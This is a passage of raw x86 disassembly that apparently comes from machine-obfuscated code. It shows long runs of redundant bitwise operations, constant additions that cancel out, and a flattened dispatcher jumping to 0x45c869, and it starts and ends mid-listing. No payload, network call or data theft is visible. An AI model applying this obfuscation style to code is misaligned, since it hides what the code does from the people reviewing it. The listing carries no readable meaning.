mov byte [ebp - 0x15f2], al
mov al, byte [ebp - 0x15ee]
and al, dh
mov byte [ebp - 0x15f3], al
mov al, ah
and al, 0
and cl, dh
mov byte [ebp - 0x15f4], al
mov al, byte [ebp - 0x15f3]
or bh, al
mov al, byte [ebp - 0x15f4]
or al, cl
xor bh, al
mov al, byte [ebp - 0x15f2]
or al, ah
xor al, 0xff
or dh, 0
and al, dh
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and bh, cl
mov ah, dl
xor ah, 1
and ah, 0
and cl, 1
or al, bh
or ah, cl
xor al, ah
mov cl, dl
xor cl, 1
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x15f5], al
mov al, dh
and al, 1
mov byte [ebp - 0x15f6], al
mov al, ah
and al, 0xff
and ch, dh
mov byte [ebp - 0x15f7], al
mov al, byte [ebp - 0x15f6]
or bh, al
mov al, byte [ebp - 0x15f7]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or dh, 1
and cl, dh
or bh, cl
mov al, byte [ebp - 0x15f5]
xor al, 0xff
xor bh, 0xff
xor dl, 0
or al, bh
or dl, 0
xor al, 0xff
and al, dl
mov cl, bl
and cl, al
xor bl, al
or cl, bl
test cl, 1
mov esi, dword [ebp - 0x158c]
mov edi, dword [ebp - 0x159c]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov dword [ebp - 0xa8], 0x489cd44
jmp 0x45c869
mov eax, 0x99d7baba
mov ecx, 0xb4fec3ef
mov dl, 1
mov esi, 0x92fbe97
xor edi, edi
mov ebx, 0xcb45e46c
mov dword [ebp - 0x183c], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
cmp dword [eax], 0
setne dh
and dh, 1
mov byte [ebp - 0x1c], dh
mov eax, dword [0x4ac09c]
mov dword [ebp - 0x1840], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x1844], eax
mov eax, edi
sub eax, 0x23ab10bd
mov dword [ebp - 0x1848], eax
mov eax, dword [ebp - 0x1840]
mov dword [ebp - 0x184c], ecx
mov ecx, dword [ebp - 0x1848]
add eax, ecx
sub eax, 0x5f070b70
sub eax, 0x52987074
add eax, 0x5f070b70
mov ecx, edi
sub ecx, 0x23ab10bd
sub eax, ecx
mov ecx, edi
sub ecx, eax
mov eax, edi
sub eax, 0x7c3b1138
add ecx, eax
mov eax, edi
sub eax, ecx
add eax, 0xe121b158
sub eax, 1
sub eax, 0xe121b158
mov ecx, edi
sub ecx, 0x7c3b1138
add eax, ecx
add ebx, 0
sub ebx, eax
sub ebx, 0xcb45e46c
sub edi, 0x78fa8a33
sub edi, 0x52987074
add edi, 0x78fa8a33
add ebx, 0xcc20203c
add ebx, edi
sub ebx, 0xcc20203c
add esi, 0
sub esi, ebx
sub esi, 0x92fbe97
mov eax, dword [ebp - 0x1840]
imul eax, esi
and eax, 1
cmp eax, 0
sete dh
mov eax, dword [ebp - 0x1844]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov cl, dl
xor cl, 1
mov ch, dh
and ch, cl
or ah, ch
mov cl, al
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or cl, bl
mov ch, dl
xor ch, 0
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x184d], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, ah
xor al, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x184e], al
and al, 0
and ah, bh
mov byte [ebp - 0x184f], al
mov al, bl
and al, 0
and cl, bh
mov byte [ebp - 0x1850], al
mov al, byte [ebp - 0x184f]
or al, ah
mov ah, byte [ebp - 0x1850]
or ah, cl
xor al, ah
mov cl, byte [ebp - 0x184e]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 0
mov ah, ch
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x1851], al
mov al, bl
and al, 0
mov byte [ebp - 0x1852], al
mov al, ah
and al, 0xff
and ch, bl
mov byte [ebp - 0x1853], al
mov al, byte [ebp - 0x1852]
or bh, al
mov al, byte [ebp - 0x1853]
or al, ch
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1851]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x1851]
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 0
or al, bh
or cl, 0
xor al, 0xff
and al, cl
mov cl, dh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, dh
and ch, ah
or cl, ch
mov ah, byte [ebp - 0x184d]
xor ah, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 1
or ah, cl
or ch, 1
xor ah, 0xff
and ah, ch
mov cl, byte [ebp - 0x184d]
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov bl, byte [ebp - 0x184d]
and bl, ch
or cl, bl
xor dh, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 1
or dh, cl
or ch, 1
xor dh, 0xff
and dh, ch
mov cl, ah
xor cl, 0xff
mov ch, dh
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
and ah, bl
mov byte [ebp - 0x1854], al
mov al, ch
and al, 0
and dh, bl
or bh, ah
or al, dh
xor bh, al
or cl, ch
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1854]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x1854]
and ah, cl
mov ch, dl
xor ch, 1
and ch, 0
and cl, 1
or al, ah
or ch, cl
xor al, ch
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bh
and ch, ah
or cl, ch
mov ah, dl
xor ah, 0
and ah, 0
mov ch, dl
xor ch, 0
mov dh, ch
and dh, 0
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, al
xor ch, 0xff
mov dh, dl
xor dh, 0
mov bl, dl
xor bl, 0
or ch, dh
or bl, 0
xor ch, 0xff
and ch, bl
mov dh, ah
xor dh, 0xff
mov bl, byte [ebp - 0x1854]
xor bl, dh
mov dh, byte [ebp - 0x1854]
and bl, dh
mov dh, cl
xor dh, 0xff
mov byte [ebp - 0x1855], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1856], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1857], al
mov al, byte [ebp - 0x1856]
or dh, al
mov al, byte [ebp - 0x1857]
or al, 0
xor dh, 0xff
and dh, al
xor bh, 0xff
mov al, ah
xor al, 0xff
mov byte [ebp - 0x1858], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1859], al
mov al, byte [ebp - 0x1858]
or bh, al
mov al, byte [ebp - 0x1859]
or al, 0
xor bh, 0xff
and bh, al
mov al, ch
and al, bl
xor ch, bl
or al, ch
mov ch, dh
xor ch, 0xff
mov bl, bh
xor bl, 0xff
mov byte [ebp - 0x185a], al
mov al, dl
xor al, 0
mov byte [ebp - 0x185b], al
mov al, ch
and al, 0
mov byte [ebp - 0x185c], al
mov al, byte [ebp - 0x185b]
and dh, al
mov al, bl
and al, 0
mov byte [ebp - 0x185d], al
mov al, byte [ebp - 0x185b]
and bh, al
mov al, byte [ebp - 0x185c]
or al, dh
mov dh, byte [ebp - 0x185d]
or dh, bh
xor al, dh
or ch, bl
xor ch, 0xff
mov dh, byte [ebp - 0x185b]
or dh, 0
and ch, dh
or al, ch
mov ch, byte [ebp - 0x185a]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x185a]
and bl, dh
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, dh
or ch, bl
or bh, al
xor ch, bh
mov al, byte [ebp - 0x1855]
xor al, 0xff
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x185e], al
mov al, byte [ebp - 0x1855]
and al, bl
mov byte [ebp - 0x185f], al
mov al, dh
and al, 0xff
and cl, bl
mov byte [ebp - 0x1860], al
mov al, byte [ebp - 0x185f]
or bh, al
mov al, byte [ebp - 0x1860]
or al, cl
xor bh, al
mov al, byte [ebp - 0x185e]
or al, dh
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
and bh, cl
mov dh, dl
xor dh, 1
and dh, 0xff
and cl, 1
or al, bh
or dh, cl
xor al, dh
mov cl, ah
and cl, 0
xor ah, 0
or cl, ah
xor al, 0xff
xor cl, 0xff
xor dl, 0
or al, cl
or dl, 0
xor al, 0xff
and al, dl
mov cl, ch
and cl, al
xor ch, al
or cl, ch
test cl, 1
mov esi, dword [ebp - 0x183c]
mov edi, dword [ebp - 0x184c]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov dword [ebp - 0xa8], 0x70872c69
mov al, byte [ebp - 0x1c]
and al, 1
mov byte [ebp - 0xa9], al
jmp 0x45c869
mov eax, 0xfecf3334
mov ecx, 0x3c7aae7d
mov dl, 1
xor esi, esi
mov edi, dword [ebp - 0x54]
cmp dword [edi], 0
setne dh
and dh, 1
mov byte [ebp - 0x1b], dh
mov edi, dword [0x4ac09c]
mov ebx, dword [0x4ac084]
mov dword [ebp - 0x1ab0], eax
mov eax, esi
sub eax, 0xab5163fb
sub eax, 0x253767c1
add eax, 0xab5163fb
mov dword [ebp - 0x1ab4], eax
mov eax, edi
add eax, 0x8cf5e1f5
mov dword [ebp - 0x1ab8], ecx
mov ecx, dword [ebp - 0x1ab4]
sub eax, ecx
sub eax, 0x8cf5e1f5
sub eax, 0x5e43c0c
add eax, 0xbf0c258a
add eax, 0x5e43c0c
sub eax, 0x9ed3184e
sub eax, 1
add eax, 0x9ed3184e
sub eax, 0x2b646f7
sub eax, 0xbf0c258a
add eax, 0x2b646f7
mov ecx, esi
sub ecx, eax
mov eax, esi
sub eax, 0x3e6b40a5
add ecx, eax
mov eax, esi
sub eax, ecx
mov ecx, esi
sub ecx, 0x253767c1
add eax, ecx
sub esi, 0x3e6b40a5
add eax, esi
imul edi, eax
and edi, 1
cmp edi, 0
sete dh
cmp ebx, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 0
mov cl, dl
xor cl, 0
mov ch, dh
and ch, cl
mov bl, dl
xor bl, 1
and bl, 0
and cl, 1
or ah, ch
or bl, cl
xor ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and ch, 1
or cl, bl
or bh, ch
xor cl, bh
xor cl, 0xff
mov ch, dh
xor ch, cl
and ch, dh
mov cl, ah
and cl, ch
xor ah, ch
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov bl, al
and bl, ch
or ah, bl
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x1ab9], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
mov al, byte [ebp - 0x1ab9]
xor al, 0xff
xor ch, 0xff
mov bl, dl
xor bl, 1
or al, ch
or bl, 1
xor al, 0xff
and al, bl
mov ch, ah
xor ch, 0xff
mov bl, al
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1aba], al
mov al, ch
and al, 0
and ah, bh
mov byte [ebp - 0x1abb], al
mov al, bl
and al, 0
mov byte [ebp - 0x1abc], al
mov al, byte [ebp - 0x1aba]
and al, bh
mov byte [ebp - 0x1abd], al
mov al, byte [ebp - 0x1abb]
or al, ah
mov ah, byte [ebp - 0x1abc]
mov byte [ebp - 0x1abe], al
mov al, byte [ebp - 0x1abd]
or ah, al
mov al, byte [ebp - 0x1abe]
xor al, ah
or ch, bl
xor ch, 0xff
or bh, 0
and ch, bh
or al, ch
mov ah, dl
xor ah, 1
and ah, 0
mov ch, dl
xor ch, 0
mov bl, ch
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0
and ch, 1
or ah, bl
or bh, ch
xor ah, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 1
mov byte [ebp - 0x1abf], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ch, bh
or al, bl
xor ch, al
xor ch, 0xff
xor ch, 1
and ch, 0xff
mov al, ah
xor al, 0xff
mov bl, ch
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1ac0], al
and al, 0
and ah, bh
mov byte [ebp - 0x1ac1], al
mov al, bl
and al, 0
and ch, bh
mov byte [ebp - 0x1ac2], al
mov al, byte [ebp - 0x1ac1]
or al, ah
mov ah, byte [ebp - 0x1ac2]
or ah, ch
xor al, ah
mov ah, byte [ebp - 0x1ac0]
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
mov ch, cl
xor ch, 0xff
mov bl, ah
and bl, ch
xor ah, 0xff
mov ch, cl
and ch, ah
or bl, ch
mov ah, cl
xor ah, 0xff
mov ch, bl
xor ch, ah
and ch, bl
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
and dh, bl
mov bh, dl
xor bh, 1
and bh, 0xff
and bl, 1
or ah, dh
or bh, bl
xor ah, bh
mov dh, al
xor dh, 0xff
and dh, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
or dh, bh
mov bl, dl
xor bl, 1
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1ac3], al
mov al, bh
and al, 1
mov byte [ebp - 0x1ac4], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x1ac5], al
mov al, byte [ebp - 0x1ac4]
or bl, al
mov al, byte [ebp - 0x1ac5]
or al, bh
xor bl, al
mov al, ah
and al, dh
xor ah, dh
or al, ah
mov ah, dl
xor ah, 1
mov dh, bl
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1ac6], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x1ac7], al
mov al, bh
and al, 1
mov byte [ebp - 0x1ac8], al
mov al, dh
and al, 0xff
and bl, bh
mov byte [ebp - 0x1ac9], al
mov al, byte [ebp - 0x1ac7]
mov byte [ebp - 0x1aca], cl
mov cl, byte [ebp - 0x1ac8]
or al, cl
mov cl, byte [ebp - 0x1ac9]
or cl, bl
xor al, cl
or ah, dh
xor ah, 0xff
or bh, 1
and ah, bh
or al, ah
mov cl, byte [ebp - 0x1ac6]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x1ac6]
and dh, ah
or cl, dh
xor cl, 0xff
xor al, 0xff
mov ah, dl
xor ah, 1
or cl, al
or ah, 1
xor cl, 0xff
and cl, ah
mov al, byte [ebp - 0x1abf]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x1abf]
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, dl
xor ah, 1
and ah, 1
mov dh, dl
xor dh, 1
and dh, 1
or ah, dh
mov dh, dl
xor dh, 1
and dh, 1
mov bl, dl
xor bl, 1
and bl, 1
or dh, bl
mov bl, al
xor bl, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x1acb], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1acc], al
mov al, bl
and al, 0
mov byte [ebp - 0x1acd], al
mov al, byte [ebp - 0x1acb]
mov byte [ebp - 0x1ace], cl
mov cl, byte [ebp - 0x1acc]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x1acf], al
mov al, byte [ebp - 0x1acc]
and ah, al
mov al, byte [ebp - 0x1acd]
mov byte [ebp - 0x1ad0], cl
mov cl, byte [ebp - 0x1acf]
or al, cl
mov cl, byte [ebp - 0x1ad0]
or cl, ah
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0x1acc]
or cl, 0
and bl, cl
or al, bl
mov cl, dl
xor cl, 1
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, cl
and bh, 0xff
mov byte [ebp - 0x1ad1], al
mov al, bl
and al, 1
mov byte [ebp - 0x1ad2], al
mov al, ah
and al, 0xff
and dh, bl
mov byte [ebp - 0x1ad3], al
mov al, byte [ebp - 0x1ad2]
or bh, al
mov al, byte [ebp - 0x1ad3]
or al, dh
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 1
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1ad1]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x1ad1]
and ah, cl
or al, ah
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, byte [ebp - 0x1ab9]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x1ab9]
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0xff
and ah, 1
or al, dh
or bl, ah
xor al, bl
mov ah, byte [ebp - 0x1ac3]
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x1ac3]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
mov bh, bl
and bh, 0
mov byte [ebp - 0x1ad4], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, byte [ebp - 0x1ad4]
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1ad5], al
and al, 0xff
mov byte [ebp - 0x1ad6], al
mov al, byte [ebp - 0x1ad4]
and al, bh
mov byte [ebp - 0x1ad7], al
mov al, bl
and al, 0xff
and ah, bh
mov byte [ebp - 0x1ad8], al
mov al, byte [ebp - 0x1ad6]
mov byte [ebp - 0x1ad9], cl
mov cl, byte [ebp - 0x1ad7]
or al, cl
mov cl, byte [ebp - 0x1ad8]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x1ad5]
or cl, bl
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, dl
xor cl, 0
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x1ada], al
mov al, bl
and al, 0
mov byte [ebp - 0x1adb], al
mov al, ah
and al, 0
and dh, bl
mov byte [ebp - 0x1adc], al
mov al, byte [ebp - 0x1adb]
or bh, al
mov al, byte [ebp - 0x1adc]
or al, dh
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x1ada]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ah, byte [ebp - 0x1ada]
and ah, cl
mov dh, dl
xor dh, 1
and dh, 0
and cl, 1
or al, ah
or dh, cl
xor al, dh
xor bh, 0xff
mov cl, al
xor cl, bh
and cl, al
mov al, ch
xor al, 0xff
mov ah, byte [ebp - 0x1ace]
xor ah, 0xff
mov dh, dl
xor dh, 0
or al, ah
or dh, 0
xor al, 0xff
and al, dh
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and ch, dh
mov bl, byte [ebp - 0x1ace]
xor bl, 0xff
and bl, 0xff
mov bh, byte [ebp - 0x1ace]
and bh, dh
or ah, ch
or bl, bh
xor ah, bl
mov ch, al
xor ch, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, ch
and bh, 0xff
and al, bl
mov byte [ebp - 0x1add], al
mov al, dh
and al, 0xff
and ah, bl
mov byte [ebp - 0x1ade], al
mov al, byte [ebp - 0x1add]
or bh, al
mov al, byte [ebp - 0x1ade]
or al, ah
xor bh, al
or ch, dh
xor ch, 0xff
or bl, 1
and ch, bl
or bh, ch
mov al, byte [ebp - 0x1ad9]
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x1ad9]
and ch, ah
or al, ch
mov ah, cl
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, cl
and dh, ch
or ah, dh
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, dl
xor dh, 1
mov bl, al
xor bl, dh
and bl, al
mov dh, byte [ebp - 0x1ad9]
xor dh, 0xff
mov byte [ebp - 0x1adf], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x1ae0], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1ae1], al
mov al, byte [ebp - 0x1ae0]
or dh, al
mov al, byte [ebp - 0x1ae1]
or al, 0
xor dh, 0xff
and dh, al
mov al, ah
xor al, 0xff
mov byte [ebp - 0x1ae2], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1ae3], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1ae4], al
mov al, byte [ebp - 0x1ae2]
mov byte [ebp - 0x1ae5], cl
mov cl, byte [ebp - 0x1ae3]
or al, cl
mov cl, byte [ebp - 0x1ae4]
or cl, 1
xor al, 0xff
and al, cl
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x1ae6], al
mov al, byte [ebp - 0x1ae5]
xor al, cl
mov cl, byte [ebp - 0x1ae5]
and al, cl
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0x1ae7], al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x1ae8], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1ae9], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1aea], al
mov al, byte [ebp - 0x1ae9]
and bl, al
mov al, byte [ebp - 0x1ae8]
and al, 0xff
mov byte [ebp - 0x1aeb], al
mov al, byte [ebp - 0x1ae9]
and dh, al
mov al, byte [ebp - 0x1aea]
or al, bl
mov bl, byte [ebp - 0x1aeb]
or bl, dh
xor al, bl
mov dh, byte [ebp - 0x1ae8]
or cl, dh
xor cl, 0xff
mov bl, byte [ebp - 0x1ae9]
or bl, 1
and cl, bl
or al, cl
mov cl, byte [ebp - 0x1ae6]
xor cl, 0xff
mov bl, byte [ebp - 0x1ae7]
xor bl, 0xff
mov dh, dl
xor dh, 1
mov byte [ebp - 0x1aec], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x1aed], al
mov al, byte [ebp - 0x1ae6]
and al, dh
mov byte [ebp - 0x1aee], al
mov al, bl
and al, 0xff
mov byte [ebp - 0x1aef], al
mov al, byte [ebp - 0x1ae7]
and al, dh
mov byte [ebp - 0x1af0], al
mov al, byte [ebp - 0x1aed]
mov byte [ebp - 0x1af1], cl
mov cl, byte [ebp - 0x1aee]
or al, cl
mov cl, byte [ebp - 0x1aef]
mov byte [ebp - 0x1af2], al
mov al, byte [ebp - 0x1af0]
or cl, al
mov al, byte [ebp - 0x1af2]
xor al, cl
mov cl, byte [ebp - 0x1af1]
or cl, bl
xor cl, 0xff
or dh, 1
and cl, dh
or al, cl
mov cl, byte [ebp - 0x1aec]
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x1aec]
and bl, dh
mov byte [ebp - 0x1af3], al
xor al, 0xff
and al, 0xff
mov byte [ebp - 0x1af4], al
mov al, byte [ebp - 0x1af3]
and al, dh
or cl, bl
mov dh, byte [ebp - 0x1af4]
or dh, al
xor cl, dh
mov al, byte [ebp - 0x1adf]
and al, ah
mov dh, byte [ebp - 0x1adf]
xor dh, ah
or al, dh
mov ah, al
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
and al, dh
or ah, al
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, cl
and al, ch
xor cl, ch
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, bh
and ch, ah
or cl, ch
mov ah, al
xor ah, 0xff
xor cl, 0xff
mov ch, dl
xor ch, 0
or ah, cl
or ch, 0
xor ah, 0xff
and ah, ch
mov cl, al
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
and al, ch
mov dh, dl
xor dh, 1
and dh, 0
and ch, 1
or cl, al
or dh, ch
xor cl, dh
xor bh, 0xff
xor cl, 0xff
mov al, dl
xor al, 0
or bh, cl
or al, 0
xor bh, 0xff
and bh, al
mov al, ah
and al, bh
xor ah, bh
or al, ah
mov cl, byte [ebp - 0x1aca]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov ch, byte [ebp - 0x1aca]
and ch, ah
or cl, ch
mov ah, byte [ebp - 0x1abf]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0x1abf]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
and dh, 1
or ch, dh
mov dh, cl
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or dh, bl
or bh, 0
xor dh, 0xff
and dh, bh
mov bl, byte [ebp - 0x1aca]
xor bl, 0xff
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x1af5], al
mov al, dl
xor al, 1
or bl, bh
or al, 1
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x1af6], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1af7], al
mov al, byte [ebp - 0x1af6]
or al, bh
mov bh, byte [ebp - 0x1af7]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x1abf]
xor bh, 0xff
mov byte [ebp - 0x1af8], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x1af9], al
mov al, dl
xor al, 0
mov byte [ebp - 0x1afa], al
mov al, byte [ebp - 0x1af9]
or bh, al
mov al, byte [ebp - 0x1afa]
or al, 0
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x1afb], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x1afc], al
mov al, dl
xor al, 1
mov byte [ebp - 0x1afd], al
mov al, byte [ebp - 0x1afb]
and al, 0xff
mov byte [ebp - 0x1afe], al
mov al, byte [ebp - 0x1afd]
and dh, al
mov al, byte [ebp - 0x1afc]
and al, 0xff
mov byte [ebp - 0x1aff], al
mov al, byte [ebp - 0x1afd]
and bl, al
mov al, byte [ebp - 0x1afe]
or al, dh
mov dh, byte [ebp - 0x1aff]
or dh, bl
xor al, dh
mov dh, byte [ebp - 0x1afb]
mov bl, byte [ebp - 0x1afc]
or dh, bl
xor dh, 0xff
mov bl, byte [ebp - 0x1afd]
or bl, 1
and dh, bl
or al, dh
mov dh, byte [ebp - 0x1af8]
and dh, bh
mov bl, byte [ebp - 0x1af8]
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
and bl, 0
mov bh, dl
xor bh, 0
and al, bh
mov byte [ebp - 0x1b00], al
mov al, dh
xor al, 0xff
and al, 0
and dh, bh
mov bh, byte [ebp - 0x1b00]
or bl, bh
or al, dh
xor bl, al
mov al, cl
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x1b01], al
and al, 0
and cl, bh
mov byte [ebp - 0x1b02], al
mov al, dh
and al, 0
and ah, bh
mov byte [ebp - 0x1b03], al
mov al, byte [ebp - 0x1b02]
or al, cl
mov cl, byte [ebp - 0x1b03]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x1b01]
or cl, dh
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, dl
xor al, 1
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 1
mov bh, al
and bh, 0xff
mov byte [ebp - 0x1b04], al
mov al, dh
and al, 1
mov byte [ebp - 0x1b05], al
mov al, ah
and al, 0xff
and ch, dh
mov byte [ebp - 0x1b06], al
mov al, byte [ebp - 0x1b05]
or bh, al
mov al, byte [ebp - 0x1b06]
or al, ch
xor bh, al
mov al, byte [ebp - 0x1b04]
or al, ah
xor al, 0xff
or dh, 1
and al, dh
or bh, al
xor bh, 0xff
mov al, cl
xor al, bh
and al, cl
mov cl, bl
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 1
mov dh, cl
and dh, 0xff
and bl, ch
mov bh, ah
and bh, 0xff
and al, ch
or dh, bl
or bh, al
xor dh, bh
or cl, ah
xor cl, 0xff
or ch, 1
and cl, ch
or dh, cl
mov al, dh
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, dh
